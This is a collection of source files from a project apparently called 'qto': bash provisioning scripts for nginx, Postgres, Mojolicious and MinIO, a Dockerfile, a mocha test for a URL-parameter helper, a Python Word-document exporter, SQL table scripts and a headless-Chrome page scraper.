!!! Nothing to do !!!" && exit 1 do_flush_screen echo "INFO : exporting vars from cnf ${PROJ_CONF_FILE:-}: " while read -r l ; do key=$(echo $l|cut -d'=' -f1) val=$(echo $l|cut -d'=' -f2) eval "$(echo -e 'export '$key=\"\"$val\"\")" echo "INFO : $key=$val" done < <(cat $PROJ_CONF_FILE| jq -r "$section"'|keys_unsorted[] as $key|"\($key)=\"\(.[$key])\""') } <file_sep>do_chk_install_nginx(){ if [ ! "grep -q nginx /etc/apt/sources.list" ] ; # check to avoid adding lines multiple times, if this record already exists then printf "\nAdding nginx repositories to install the latest nginx version.\n\n" set -x sudo bash -c 'cat >> /etc/apt/sources.list << EOF_NGINX_REPOS # nginx repos deb https://nginx.org/packages/ubuntu/ bionic nginx deb-src https://nginx.org/packages/ubuntu/ bionic nginx EOF_NGINX_REPOS' wget http://nginx.org/keys/nginx_signing.key sudo apt-key add nginx_signing.key sudo apt-get update fi test -f /etc/nginx/nginx.conf || sudo apt-get install -y nginx test -f /etc/nginx/nginx.conf && sudo cp -v /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak } <file_sep>#!/bin/bash set -x test -z ${PRODUCT:-} && PRODUCT=qto test -z ${APPUSER:-} && APPUSER=appusr trap : TERM INT; sleep infinity & wait <file_sep>#------------------------------------------------------------------------------ # usage example: # source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh # do_flush_screen # # if you have sourced $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh before, # then this function is also imported, so sourcing again is not necessary #------------------------------------------------------------------------------ do_flush_screen(){ printf "\033[2J";printf "\033[0;0H" }<file_sep># vim:set ft=dockerfile: FROM ubuntu:18.04 USER root ARG PRODUCT_DIR=/opt/csitea/qto/qto.0.6.5.dev.usrqtoadmin ENV PRODUCT_DIR $PRODUCT_DIR ARG host_host_name ENV host_host_name $host_host_name WORKDIR /opt/ ADD . $PRODUCT_DIR WORKDIR $PRODUCT_DIR # obs !!! todo: parametrize qto-190616104728 RUN echo "root:root" | chpasswd RUN echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' >> /root/.bashrc # src: https://stackoverflow.com/a/28769950/65706 RUN chmod 755 $PRODUCT_DIR/src/bash/qto/install/docker/install-test.sh && \ bash $PRODUCT_DIR/src/bash/qto/install/docker/install-test.sh CMD ["bash","-c","while true; do sleep 1; done;"] <file_sep># src/bash/qto/funcs/remove-package.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestRemovePackage comments ... # --------------------------------------------------------- doTestRemovePackage(){ do_log "DEBUG START doTestRemovePackage" cat doc/txt/qto/tmpl/remove-package.test.txt sleep 2 # add your action implementation code here ... do_log "DEBUG STOP doTestRemovePackage" } # eof func doTestRemovePackage # eof file: src/bash/qto/funcs/remove-package.test.sh <file_sep> // usage: clear ; cd src/js/node/js-unit-tests/01-set-url-param ; npm install ; cd - // usage: clear ; cd src/js/node/js-unit-tests/01-set-url-param ; npm test ; cd - // prereqs: , nodejs , mocha // URI = scheme:[//authority]path[?paramName1=paramValue1&paramName2=paramValue2][#fragment] // call by: uri = uri.setUriParam("as","md") String.prototype.setUriParam = function (paramName, paramValue) { var uri = this var fragment = ( uri.indexOf('#') === -1 ) ? '' : uri.split('#')[1] uri = ( uri.indexOf('#') === -1 ) ? uri : uri.split('#')[0] if ( uri.indexOf("?") === -1 ) { uri = uri + '?&' } uri = uri.replace ( '?' + paramName , '?&' + paramName) var toRepl = (paramValue != null) ? ('$1' + paramValue) : '' var toSrch = new RegExp('([&]' + paramName + '=)(([^&#]*)?)') uri = uri.replace(toSrch,toRepl) if (uri.indexOf(paramName + '=') === -1 && toRepl != '' ) { var ampersandMayBe = uri.endsWith('&') ? '' : '&' uri = uri + ampersandMayBe + paramName + "=" + String(paramValue) } uri = ( fragment.length == 0 ) ? uri : (uri+"#"+fragment) //may-be re-add the fragment return uri } var assert = require('assert'); describe('replacing url param value', function () { // scheme://authority/path[?p1=v1&p2=v2#fragment // a clean url it('http://org.com/path -> http://org.com/path?&prm=tgt_v', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=10' var uriActual = uri.setUriParam("bid",10) assert.equal(uriActual, uriExpected); }); // has the url param existing after the ? with num value it('http://org.com/path?prm=src_v -> http://org.com/path?&prm=tgt_v', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?bid=57' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=10' var uriActual = uri.setUriParam("bid",10) assert.equal(uriActual, uriExpected); }); // has the url param existing after the ? but string value it('http://org.com/path?prm=src_v -> http://org.com/path?&prm=tgt_v', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?bid=boo-bar' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=boo-bar-baz' var uriActual = uri.setUriParam("bid","boo-bar-baz") assert.equal(uriActual, uriExpected); }); // has the url param existing after the ?& but string value it('http://org.com/path?&prm=src_v -> http://org.com/path?&prm=tgt_v', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=5' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=10' var uriActual = uri.setUriParam("bid",10) assert.equal(uriActual, uriExpected); }); // has the url param existing after the ? with other param it('http://org.com/path?prm=src_v&other_p=other_v -> http://org.com/path?&prm=tgt_v&other_p=other_v', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?bid=5&other_p=other_v' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=10&other_p=other_v' var uriActual = uri.setUriParam("bid",10) assert.equal(uriActual, uriExpected); }); // has the url param existing after the ?& with other param it('http://org.com/path?&prm=src_v&other_p=other_v -> http://org.com/path?&prm=tgt_v&other_p=other_v', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=5&other_p&other_v' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=10&other_p&other_v' var uriActual = uri.setUriParam("bid",10) assert.equal(uriActual, uriExpected); }); // has the url param existing after the ? with other param with fragment it('http://org.com/path?prm=src_v&other_p=other_v#f -> http://org.com/path?&prm=tgt_v&other_p=other_v#f', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?bid=5&other_p=other_v#f' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=10&other_p=other_v#f' var uriActual = uri.setUriParam("bid",10) assert.equal(uriActual, uriExpected); }); // has the url param existing after the ?& with other param with fragment it('http://org.com/path?&prm=src_v&other_p=other_v#f -> http://org.com/path?&prm=tgt_v&other_p=other_v#f', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=5&other_p&other_v#f' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=10&other_p&other_v#f' var uriActual = uri.setUriParam("bid",10) assert.equal(uriActual, uriExpected); }); // remove the param-name , param-value pair it('http://org.com/path?prm=src_v&other_p=other_v#f -> http://org.com/path?&prm=tgt_v&other_p=other_v#f', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?bid=5&other_p=other_v#f' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&other_p=other_v#f' var uriActual = uri.setUriParam("bid",null) assert.equal(uriActual, uriExpected); }); // remove the param-name , param-value pair it('http://org.com/path?&prm=src_v&other_p=other_v#f -> http://org.com/path?&prm=tgt_v&other_p=other_v#f', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?&bid=5&other_p=other_v#f' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&other_p=other_v#f' var uriActual = uri.setUriParam("bid",null) assert.equal(uriActual, uriExpected); }); // add a new param name , param value pair it('http://org.com/path?prm=src_v&other_p=other_v#f -> http://org.com/path?&prm=tgt_v&other_p=other_v#f', function (){ var uri = 'http://site.eu:80/qto/view/devops_guide_doc?&other_p=other_v#f' var uriExpected = 'http://site.eu:80/qto/view/devops_guide_doc?&other_p=other_v&bid=foo-bar#f' var uriActual = uri.setUriParam("bid","foo-bar") assert.equal(uriActual, uriExpected); }); }); // todo:require('./lib/file1.js'); <file_sep>doProvisionHttps(){ do_export_json_section_vars $PRODUCT_DIR/cnf/env/$ENV.env.json '.env.app' sudo test -f /etc/letsencrypt/live/$web_host/privkey.pem && { source $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh for env in `echo dev tst prd`; do \ do_export_json_section_vars $PRODUCT_DIR/cnf/env/$env.env.json '.env.app' sudo cp -v "$PRODUCT_DIR"'/cnf/nginx/etc/nginx/sites-available/%env%.https-site.conf' \ "/etc/nginx/sites-available/$env.https-site.conf" sudo perl -pi -e 's|\%nginx_port\%|'"$nginx_port"'|g' "/etc/nginx/sites-available/$env.https-site.conf" sudo perl -pi -e 's|\%nginx_port\%|'"$nginx_port"'|g' "/etc/nginx/sites-available/$env.http-site.conf" sudo perl -pi -e 's|\%https_port\%|'"$https_port"'|g' "/etc/nginx/sites-available/$env.https-site.conf" sudo perl -pi -e 's|\%https_port\%|'"$https_port"'|g' "/etc/nginx/sites-available/$env.http-site.conf" sudo perl -pi -e 's|#uncomment-for-https ||g' "/etc/nginx/sites-available/$env.http-site.conf" sudo perl -pi -e 's|\%mojo_hypnotoad_port\%|'"$mojo_hypnotoad_port"'|g' "/etc/nginx/sites-available/$env.https-site.conf" sudo perl -pi -e 's|\%web_host\%|'"$web_host"'|g' "/etc/nginx/sites-available/$env.https-site.conf" sudo perl -pi -e 's|\%port\%|'"$port"'|g' "/etc/nginx/sites-available/$env.https-site.conf" sudo perl -pi -e 's|#todo-https-me||g' "/etc/nginx/sites-available/$env.http-site.conf" sudo ln -fs /etc/nginx/sites-available/$env.https-site.conf /etc/nginx/sites-enabled/$env.https-site.conf sudo ls -la /etc/nginx/sites-enabled/$env.https-site.conf done ; sudo chown -R www-data:www-data /etc/nginx sudo service nginx restart sudo service nginx status do_export_json_section_vars $PRODUCT_DIR/cnf/env/$ENV.env.json '.env.app' } } <file_sep>#!/bin/bash do_chk_provision_db_users(){ test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PRODUCT_DIR/cnf/env/$ENV.env.json" source $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh do_export_json_section_vars $PROJ_CONF_FILE '.env.db' # generate the sql for the provisioning of the postgres_sys_usr_admin cat << EOF_SQL_CODE > /tmp/$$.tmp.sql DO \$\$ DECLARE r record; BEGIN IF NOT EXISTS ( SELECT FROM pg_catalog.pg_roles WHERE rolname = '$postgres_sys_usr_admin') THEN CREATE ROLE "$postgres_sys_usr_admin" WITH SUPERUSER CREATEROLE CREATEDB REPLICATION BYPASSRLS PASSWORD '$<PASSWORD>' LOGIN ; END IF; END ; \$\$; ALTER ROLE $postgres_sys_usr_admin WITH SUPERUSER CREATEROLE CREATEDB REPLICATION BYPASSRLS PASSWORD '$<PASSWORD>' LOGIN ; GRANT ALL PRIVILEGES ON DATABASE POSTGRES TO $postgres_sys_usr_admin" ; EOF_SQL_CODE # run the sql for the provisioning of the postgres_sys_usr_admin sudo -Hiu postgres PGPASSWORD=$<PASSWORD> psql --port $postgres_rdbms_port \ --host $postgres_rdbms_host -d postgres < /tmp/$$.tmp.sql rm -rv /tmp/$$.tmp.sql # verify the sql for the provisioning of the postgres_sys_usr_admin sudo -Hiu postgres PGPASSWORD=$<PASSWORD> psql --port $postgres_rdbms_port \ --host $postgres_rdbms_host -d postgres -c '\du' } <file_sep>#!/usr/bin/env python3 # usage: python src/python/append-to-docx.py requirements_doc /path/to/file.docx import sys import os import urllib.request, json import docx from docx import Document from docx.shared import Cm from docx.enum.text import WD_ALIGN_PARAGRAPH from io import StringIO ikey, full_path, table, path, app, db, user, ht_protocol, web_host, web_port = 0, '', '', '', '', '', '', '', '', '' def main(): set_vars() tableData, met = getTableData(None) buildDoc(table,tableData) sys.exit() def set_vars(): try: global full_path, table, path, app, db, user, ht_protocol, web_host, web_port table = sys.argv[1] full_path = str(sys.argv[2] or '.') app = os.environ['postgres_app_db'] db = os.environ['postgres_app_db'] user= os.environ['postgres_app_usr'] ht_protocol = os.environ['ht_protocol'] web_host= os.environ['web_host'] web_port = os.environ['port'] except(IndexError) as error: print (error) traceback.print_stack() sys.exit(1) return def getTableData(url): if ( url == None): url = ht_protocol + "://" + web_host + ":" + web_port + "/" + app + "/hiselect/" + table + "?pg-size=10000&bid=0" try: with urllib.request.urlopen(url) as url: data = json.loads(url.read().decode()) # print(data['dat']) print(data['met']['meta_cols']) return data['dat'], data['met']['meta_cols'] except (Exception) as error: print(error) def buildDoc(table,tableData): doc = Document(full_path) # open an existing document with existing styles #debug print('Loaded {}'.format(tableData)) for row in tableData: # print ('row {}'.format(row)) level = row['level'] if ( level == 0 ): continue if ( level == 1 ): levelStyle = 'style-kone-blue-heading-01' else: levelStyle = 'Heading ' + str(level) title = row['name'] heading = doc.add_heading( title , level) heading.style = doc.styles[levelStyle] p = doc.add_paragraph(row['description']) if row['src']: src = doc.add_paragraph(row['src']) src.style = doc.styles['Body Text 3'] if ( row['formats'] ): if (not( str(row['formats']).strip() == "")): print ("formats: " + row['formats']) formats = json.loads(row['formats']) listing_url = formats['listing-url'] print ("listing_url: " + listing_url) listingData , met = getTableData(listing_url) #for style in doc.styles: #print ( style ) global ikey doc_table = doc.add_table(1, (len(listingData[0].keys())-2), doc.styles['Table Grid']) for lrow in listingData: mikey = -1 ikey = 0 for mlrowkey in sorted (met.keys()): mlrow = met[str(mlrowkey)] key = mlrow['attribute_name'] mikey = mikey + 1 if ( not ( key in lrow.keys() ) ): continue if ( not ( key == 'id' or key == 'guid' )): if ( ikey == 0 ): cells = doc_table.add_row().cells thkey = 0 for th in sorted (met.keys()): # this is the title row mthrow = met[str(th)] ky = mthrow['attribute_name'] print ( "lrow.keys:") print ( "ky: " + str(ky)) print(lrow.keys()) if ( (not ( ky in lrow.keys() )) or ky == 'id' or ky == 'guid'): continue else: cells[thkey].text = str(ky) thkey=thkey+1 #print ( str(lrow[key]) ) # the value cells[0].text = lrow[key] cells[ikey].text = str(lrow[key]) ikey = ikey + 1 if row['img_relative_path']: ip = doc.add_paragraph() r = ip.add_run() r.add_text(row['img_name']) r.add_text("\n") r.add_picture(row['img_relative_path'], width = Cm(15.0)) doc.save(full_path) return 0 main() <file_sep>-- file: src/sql/pgsql/list-table-priviledges.sql -- usage: -- alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -q -t -X -w -U ${postgres_sys_usr_admin:-}" -- psql -d dev_qto < src/sql/pgsql/list-table-priviledges.sql | less SELECT grantee, table_name , privilege_type FROM information_schema.role_table_grants WHERE 1=1 AND grantee = 'usrqtoapp' AND table_name='readme_doc' ; -- purpose: -- list the priveledges per user or for user in a database -- eof file: src/sql/pgsql/list-table-priviledges.sql <file_sep>do_chk_install_phantom_js(){ which phantomjs 2>/dev/null || { sudo apt-get install -y build-essential chrpath libssl-dev libxft-dev sudo apt-get install -y libfreetype6 libfreetype6-dev sudo apt-get install -y libfontconfig1 libfontconfig1-dev export PHANTOM_JS="phantomjs-2.1.1-linux-x86_64" wget -O /tmp/$PHANTOM_JS.tar.bz2 https://github.com/Medium/phantomjs/releases/download/v2.1.1/$PHANTOM_JS.tar.bz2 cd /tmp/ sudo tar xvjf $PHANTOM_JS.tar.bz2 sudo mv $PHANTOM_JS /usr/local/share sudo ln -sf /usr/local/share/$PHANTOM_JS/bin/phantomjs /usr/local/bin phantomjs --version } } <file_sep>#!/bin/bash # v0. chk: https://github.com/mojolicious/mojo/wiki/%25ENV do_mojo_morbo_start(){ export PATH=$PATH:~/perl5/bin/ export PERL5LIB=${PERL5LIB:-}:~/perl5/lib/perl5/:$PRODUCT_DIR/src/perl/qto/t/lib:$PRODUCT_DIR/src/perl/qto/public/lib:$PRODUCT_DIR/src/perl/qto/lib do_export_json_section_vars $PRODUCT_DIR/cnf/env/$ENV.env.json '.env.app' do_mojo_morbo_stop 0 # to prevent the 'failed: could not create socket: Too many open files at sys' error # perl -e 'while(1){open($a{$b++}, "<" ,"/dev/null") or die $b;print " $b"}' to check ulimit -n 4096 sleep "${sleep_interval:=0}" export MOJO_LOG_LEVEL='debug' export MOJO_MODE='development' #export MOJO_MODE='production' test -z "${MOJO_MORBO_PORT:-}" && export MOJO_MORBO_PORT='3001' export MOJO_LISTEN='http://*:'"$MOJO_MORBO_PORT" test -z "${MOJO_MORBO_PORT:-}" && export MOJO_LISTEN='http://*:3001' do_log "INFO running: morbo -w $PRODUCT_DIR/src/perl/script/qto --listen $MOJO_LISTEN $PRODUCT_DIR/src/perl/qto/script/qto" while read -r p ; do p=$(echo $p|sed 's/^ *//g') test $p -ne $$ && kill -9 $p ; done < <(sudo ps -ef | grep -v grep | grep 'mojo-morbo-start'|awk '{print $2}') export PERL5LIB=${PERL5LIB:-}:/opt/qto/src/perl/qto/t/lib:/opt/qto/src/perl/qto/public/lib:/opt/qto/src/perl/qto/lib bash -c "morbo -w $PRODUCT_DIR/src/perl/qto --listen $MOJO_LISTEN $PRODUCT_DIR/src/perl/qto/script/qto" & # might require sudo visudoers # usrqtoadmin ALL=(ALL) NOPASSWD: /bin/netstat -tulpn do_log "INFO check with netstat, running netstat -tulpn" ; netstat -tulpn | grep qto } <file_sep># src/bash/qto/funcs/mojo-morbo-start.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestMojoMorboStart comments ... # cat doc/txt/qto/tests/mojo-morbo-start.test.txt # --------------------------------------------------------- doTestMojoMorboStart(){ do_log "INFO START doTestMojoMorboStart" sleep "$sleep_interval" # Action !!! bash src/bash/qto/qto.sh -a mojo-morbo-start # sudo visudoers # ysg ALL=(ALL) NOPASSWD: /bin/netstat -tulpn netstat -tulpn | grep qto do_log "INFO STOP doTestMojoMorboStart" } # eof func doTestMojoMorboStart # eof file: src/bash/qto/funcs/mojo-morbo-start.test.sh <file_sep>#!/usr/bin/env bash # Some things that run always export QTO_NO_AUTH=0 export QTO_JWT_AUTH=1 case "$1" in start) echo "Starting qto " /bin/bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a mojo-hypnotoad-start & /bin/bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a mojo-hypnotoad-start & /bin/bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a mojo-hypnotoad-start & ;; stop) /bin/bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a mojo-hypnotoad-stop & /bin/bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a mojo-hypnotoad-stop & /bin/bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a mojo-hypnotoad-stop & ;; status) sudo ps -ef | grep -i qto ;; *) echo "Usage: $0 {start|stop|status}" cat << "EOF_ECHO" # --------------------------------------------------- the sipmliest possible start / stop app script on boot / reboot / shutdown stolen from : https://unix.stackexchange.com/a/57032/37428 ls -la /etc/init.d/qto-on-boot.sh # -rwxr-x--- 1 root root 947 May 17 15:34 /etc/init.d/qto-on-boot.sh # to install : sudo cp -v cnf/bash/etc/init.d/qto-on-boot.sh /etc/init.d/ sudo update-rc.d qto-on-boot.sh defaults EOF_ECHO exit 1 ;; esac exit 0 <file_sep># src/bash/qto/funcs/mojo-hypnotoad-start.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestMojoHypnotoadStart comments ... # --------------------------------------------------------- doTestMojoHypnotoadStart(){ do_log "DEBUG START doTestMojoHypnotoadStart" # cat doc/txt/qto/tests/mojo-hypnotoad-start.test.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! bash src/bash/qto/qto.sh -a mojo-hypnotoad-start test $exit_code -ne 0 && return do_log "DEBUG STOP doTestMojoHypnotoadStart" } # eof func doTestMojoHypnotoadStart # eof file: src/bash/qto/funcs/mojo-hypnotoad-start.test.sh <file_sep># # usage: include it in your Makefile # include <<file-path>> # # # function usage example: # # uninstall-csitea-web: # $(call uninstall-img,csitea-web,80) define uninstall-img @clear -@docker container stop $$(docker ps -aqf "name=${product}-${1}-con") 2> /dev/null -@docker container rm $$(docker ps -aqf "name=${product}-${1}-con") 2> /dev/null endef <file_sep>// file: scrap-html.js src: https://gist.github.com/magician11/a979906401591440bd6140bd14260578 const CDP = require('chrome-remote-interface'); const chromeLauncher = require('chrome-launcher'); (async function() { const launchChrome = () => chromeLauncher.launch({ chromeFlags: ['--disable-gpu', '--headless'] }); const chrome = await launchChrome(); const protocol = await CDP({ port: chrome.port }); const timeout = ms => new Promise(resolve => setTimeout(resolve, ms)); // See API docs: https://chromedevtools.github.io/devtools-protocol/ const { Page, Runtime, DOM } = protocol; await Promise.all([Page.enable(), Runtime.enable(), DOM.enable()]); // ok uri = 'http://qto.fi:8080/qto/view/readme_doc' uri = process.argv[2] // uri = 'https://qto.fi/qto/view/readme_doc' // uri = 'http://host-name:8082/tst_kone/list/requirements_doc?&pg-size=100&pick=name,formats' console.log ( uri ) Page.navigate({ url: uri }); // wait until the page says it's loaded... Page.loadEventFired(async () => { try { await timeout(4000); // give the JS some time to load // get the page source const rootNode = await DOM.getDocument({ depth: -1 }); const pageSource = await DOM.getOuterHTML({ nodeId: rootNode.root.nodeId }); protocol.close(); chrome.kill(); console.log ( pageSource.outerHTML) } catch (err) { console.log(err); } }); })(); //eof file: scrap-html.js <file_sep>-- DROP TABLE IF EXISTS questions ; SELECT 'create the "questions" table' ; CREATE TABLE questions ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , prio integer NOT NULL DEFAULT 1 , questions_status_guid UUID NOT NULL DEFAULT 'cb989a14-d0b8-46e4-b2cc-5e2a974b5d29' , category varchar (20) NOT NULL DEFAULT 'unknown' , name varchar (100) NOT NULL DEFAULT 'name ...' , description varchar (4000) NOT NULL DEFAULT 'description ... ' , owner varchar (20) NULL , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_questions_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.questions'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_questions BEFORE UPDATE ON questions FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'questions'::regclass; <file_sep>#!/bin/bash do_create_app_user(){ set +e test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PRODUCT_DIR/cnf/env/$ENV.env.json" source $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh do_export_json_section_vars $PROJ_CONF_FILE '.env.db' pgsql_scripts_dir="$PRODUCT_DIR/src/sql/pgsql/qto" tmp_log_file="/tmp/$$.create-app-user.log" # 01 create / modify the app user sql_script="$pgsql_scripts_dir/01.create-app-db-user.pgsql" #sql_script="$pgsql_scripts_dir/02.alter-qto-app-user.pgsql" PGPASSWORD="${postgres_sys_usr_admin_pw:-}" psql -q -t -X -w -U "${postgres_sys_usr_admin:-}" \ -h $postgres_rdbms_host -p $postgres_rdbms_port -v ON_ERROR_STOP=1 \ -v postgres_app_usr="${postgres_app_usr:-}" \ -v postgres_app_usr_pw="${postgres_app_usr_pw:-}" \ -v postgres_app_db="${postgres_app_db:-}" \ -f "$sql_script" "${postgres_app_db:-}" > "$tmp_log_file" 2>&1 ret=$? cat "$tmp_log_file" ; cat "$tmp_log_file" >> $log_file # show it and save it test $ret -ne 0 && { sleep 3 ; do_exit 1 "pid: $$ psql ret $ret - failed to run sql_script: $sql_script !!!"; } PGPASSWORD="${postgres_sys_usr_admin_pw:-}" psql -q -t -X -w -U "${postgres_sys_usr_admin:-}" \ -h $postgres_rdbms_host -p $postgres_rdbms_port -d postgres -v ON_ERROR_STOP=1 -c \ "GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO $postgres_app_usr; GRANT CONNECT ON DATABASE $postgres_app_db TO $postgres_app_usr; GRANT SELECT, UPDATE ON ALL SEQUENCES IN SCHEMA public TO $postgres_app_usr; GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO $postgres_app_usr;" } <file_sep># src/bash/qto/funcs/db-to-xls.test.sh # v0.6.9 # --------------------------------------------------------- # the wrapper func around the db to xls conversion # --------------------------------------------------------- doTestDbToXls(){ do_log "DEBUG START doTestDbToXls" cat doc/txt/qto/tests/db-to-xls.test.txt sleep "$sleep_interval" # Action !!! src/bash/qto/qto.sh -a db-to-xls exit_code=$? do_log "INFO txt-to-db.test-1 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return do_log "DEBUG STOP doTestDbToXls" } # eof file: src/bash/qto/funcs/db-to-xls.test.sh <file_sep>#!/usr/bin/env bash set -eu -o pipefail # fail on error , debug all lines set -x # run as root #[ "$USER" = "root" ] || exec sudo "$0" "$@" doWgetMinioBins(){ test -f /root/minio || wget -O /root/minio https://dl.minio.io/server/minio/release/linux-amd64/minio test -f /root/mc || wget -O /root/mc https://dl.minio.io/client/mc/release/linux-amd64/mc chmod 755 /root/minio chmod 755 /root/mc ls -la /root/minio ls -la /root/mc } echo "installing the must-have pre-requisites" while read -r p ; do if [ "" == "`which $p`" ]; then doWgetMinioBins fi done < <(cat << "EOF01" grep lsof pgrep openssl minio EOF01 ) export minio_data_dir='/tmp/minio-data' # set credentials for the server export MINIO_ACCESS_KEY='N<KEY>' export MINIO_SECRET_KEY='<KEY>' export MINIO_REGION="local_region" echo MINIO_ACCESS_KEY: $MINIO_ACCESS_KEY echo MINIO_SECRET_KEY: $MINIO_SECRET_KEY echo MINIO_REGION: $MINIO_REGION mkdir -p ~/etc/ ; cat << "EOF02" > ~/etc/openssl.conf [req] distinguished_name = req_localhost x509_extensions = v3_req prompt = no [req_localhost] C = FI ST = UU L = Helsinki O = Corp OU = org CN = localhost [v3_req] subjectAltName = @alt_names [alt_names] IP.1 = 127.0.0.1 EOF02 test $(pgrep minio|wc -l) -gt 0 && kill -9 $(pgrep minio) # kill if running mkdir -p ~/.minio/certs/ ; test -f ~/.minio/certs/private.key && rm -v ~/.minio/certs/private.key openssl genrsa -out ~/.minio/certs/private.key 2048 test -f ~/.minio/certs/public.crt && rm -v ~/.minio/certs/public.crt openssl req -x509 -nodes -days 730 -newkey rsa:2048 -keyout ~/.minio/certs/private.key \ -out ~/.minio/certs/public.crt -config ~/etc/openssl.conf /root/minio server "$minio_data_dir" 2>&1 & # and start the server export CONFIG_S3_BUCKET_NAME='org-bucket' export CONFIG_S3_ENDPOINT='https://127.0.0.1:9000' export CONFIG_S3_ACCESS_KEY=$MINIO_ACCESS_KEY export CONFIG_S3_SECRET_KEY=$MINIO_SECRET_KEY export CONFIG_S3_REGION=$MINIO_REGION export CONFIG_S3_DISABLE_SSL_CHECK='true' echo CONFIG_S3_BUCKET_NAME: $CONFIG_S3_BUCKET_NAME echo CONFIG_S3_ENDPOINT: $CONFIG_S3_ENDPOINT echo CONFIG_S3_ACCESS_KEY: $CONFIG_S3_ACCESS_KEY echo CONFIG_S3_SECRET_KEY: $CONFIG_S3_SECRET_KEY echo CONFIG_S3_REGION: $CONFIG_S3_REGION echo CONFIG_S3_DISABLE_SSL_CHECK: $CONFIG_S3_DISABLE_SSL_CHECK export MINIO_HOST_ALIAS='minio_host_alias' # register the host alias /root/mc config host add $MINIO_HOST_ALIAS "$CONFIG_S3_ENDPOINT" "$CONFIG_S3_ACCESS_KEY" \ "$CONFIG_S3_SECRET_KEY" --api S3v4 # create the bucket /root/mc --insecure mb --region "$MINIO_REGION" "$MINIO_HOST_ALIAS/$CONFIG_S3_BUCKET_NAME" # configure the policies on the bucket /root/mc --insecure policy upload "$MINIO_HOST_ALIAS/$CONFIG_S3_BUCKET_NAME" /root/mc --insecure policy download "$MINIO_HOST_ALIAS/$CONFIG_S3_BUCKET_NAME" /root/mc --insecure policy public "$MINIO_HOST_ALIAS/$CONFIG_S3_BUCKET_NAME" /root/mc --insecure policy list "$MINIO_HOST_ALIAS/$CONFIG_S3_BUCKET_NAME" # ls the buckets in the host alias /root/mc --insecure ls $MINIO_HOST_ALIAS # copy the resource file ysg:todo add livy.conf to this script /root/mc --insecure cp main/src/test/resources/livy/livy.conf $MINIO_HOST_ALIAS/$CONFIG_S3_BUCKET_NAME # and verify it is there /root/mc --insecure stat $MINIO_HOST_ALIAS/org-bucket/livy.conf mkdir -p ~/.aws/s3cmd/ ; cat << EOF03 > ~/.aws/s3cmd/minio_local.s3cfg host_base = 127.0.0.1:9000 host_bucket = org-bucket bucket_location = local_region use_https = True AWS_ACCESS_KEY_ID = <KEY> AWS_SECRET_ACCESS_KEY = <KEY> signature_v2 = False EOF03 # run those manually # test $(which s3cmd|wc -l) -gt 0 && \ # s3cmd ls --no-check-certificate -r -c ~/.aws/s3cmd/minio_local.s3cfg # "s3://$CONFIG_S3_BUCKET_NAME" #AWS_ACCESS_KEY="$MINIO_ACCESS_KEY" #AWS_SECRET_KEY="$MINIO_SECRET_KEY" #aws s3 ls --region "$MINIO_REGION" --endpoint-url "$CONFIG_S3_ENDPOINT" --no-verify-ssl true <file_sep> do_chk_install_python_modules(){ cd $PRODUCT_DIR sudo apt-get install -y python3-venv pip3 install virtualenv ; python3 -m venv ./venv pip install --ignore-installed six pip3 install -r $PRODUCT_DIR/cnf/bin/python/requirements.txt sleep 1 ; do_flush_screen } <file_sep># src/bash/qto/funcs/morph-dir.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add 